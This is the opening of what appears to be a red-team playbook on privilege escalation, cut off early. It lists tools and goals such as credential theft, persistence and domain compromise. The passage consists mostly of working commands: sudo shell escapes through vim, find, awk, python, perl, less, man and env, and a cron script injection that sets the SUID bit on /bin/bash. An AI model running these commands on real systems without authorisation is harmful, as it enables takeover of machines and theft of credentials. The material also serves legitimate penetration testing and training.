privilege-escalation-methods

# Privilege Escalation Methods ## Purpose Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations. ## Inputs/Prerequisites - Initial low-privilege shell access on target system - Kali Linux or penetration testing distribution - Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus - Understanding of Windows/Linux privilege models - For AD attacks: Domain user credentials and network access to DC ## Outputs/Deliverables - Root or Administrator shell access - Extracted credentials and hashes - Persistent access mechanisms - Domain compromise (for AD environments) --- ## Core Techniques ### Linux Privilege Escalation #### 1. Abusing Sudo Binaries Exploit misconfigured sudo permissions using GTFOBins techniques: ```bash # Check sudo permissions sudo -l # Exploit common binaries sudo vim -c ':!/bin/bash' sudo find /etc/passwd -exec /bin/bash \; sudo awk 'BEGIN {system("/bin/bash")}' sudo python -c 'import pty;pty.spawn("/bin/bash")' sudo perl -e 'exec "/bin/bash";' sudo less /etc/hosts # then type: !bash sudo man man # then type: !bash sudo env /bin/bash ``` #### 2. Abusing Scheduled Tasks (Cron) ```bash # Find writable cron scripts ls -la /etc/cron* cat /etc/crontab # Inject payload into writable script echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh...